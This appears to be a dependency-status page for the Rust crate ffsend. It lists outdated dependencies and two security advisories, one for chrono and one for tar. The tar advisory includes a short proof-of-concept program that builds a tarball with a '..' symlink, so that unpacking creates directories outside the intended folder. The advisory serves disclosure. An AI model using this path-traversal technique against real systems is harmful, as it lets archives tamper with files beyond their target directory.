This project might be open to known security vulnerabilities, which can be prevented by tightening the version range of affected dependencies. Find detailed information at the bottom.

Crate ffsend

Dependencies

(25 total, 14 outdated, 2 possibly insecure)

CrateRequiredLatestStatus
 chbs^0.0.80.1.1out of date
 chrono ⚠️^0.40.4.37maybe insecure
 clap^2.324.5.4out of date
 clipboard^0.50.5.0up to date
 colored^1.72.1.0out of date
 derive_builder^0.70.20.0out of date
 directories^1.05.0.1out of date
 failure^0.10.1.8up to date
 ffsend-api^0.3.20.7.3out of date
 fs2^0.40.4.3up to date
 lazy_static^1.01.4.0up to date
 open^15.1.2out of date
 openssl-probe^0.10.1.5up to date
 pbr^11.1.1up to date
 prettytable-rs^0.80.10.0out of date
 qr2term^0.10.3.1out of date
 rpassword^3.07.3.1out of date
 serde^1.01.0.197up to date
 serde_derive^1.01.0.197up to date
 tar ⚠️^0.40.4.40maybe insecure
 tempfile^33.10.1up to date
 toml^0.50.8.12out of date
 urlshortener^0.103.2.0out of date
 version-compare^0.0.60.2.0out of date
 which^2.06.0.1out of date

Security Vulnerabilities

chrono: Potential segfault in `localtime_r` invocations

RUSTSEC-2020-0159

Impact

Unix-like operating systems may segfault due to dereferencing a dangling pointer in specific circumstances. This requires an environment variable to be set in a different thread than the affected functions. This may occur without the user's knowledge, notably in a third-party library.

Workarounds

No workarounds are known.

References

tar: Links in archive can create arbitrary directories

RUSTSEC-2021-0080

When unpacking a tarball that contains a symlink the tar crate may create directories outside of the directory it's supposed to unpack into.

The function errors when it's trying to create a file, but the folders are already created at this point.

use std::{io, io::Result};
use tar::{Archive, Builder, EntryType, Header};

fn main() -> Result<()> {
    let mut buf = Vec::new();

    {
        let mut builder = Builder::new(&mut buf);

        // symlink: parent -> ..
        let mut header = Header::new_gnu();
        header.set_path("symlink")?;
        header.set_link_name("..")?;
        header.set_entry_type(EntryType::Symlink);
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        // file: symlink/exploit/foo/bar
        let mut header = Header::new_gnu();
        header.set_path("symlink/exploit/foo/bar")?;
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        builder.finish()?;
    };

    Archive::new(&*buf).unpack("demo")
}

This has been fixed in https://github.com/alexcrichton/tar-rs/pull/259 and is published as tar 0.4.36. Thanks to Martin Michaelis (@mgjm) for discovering and reporting this, and Nikhil Benesch (@benesch) for the fix!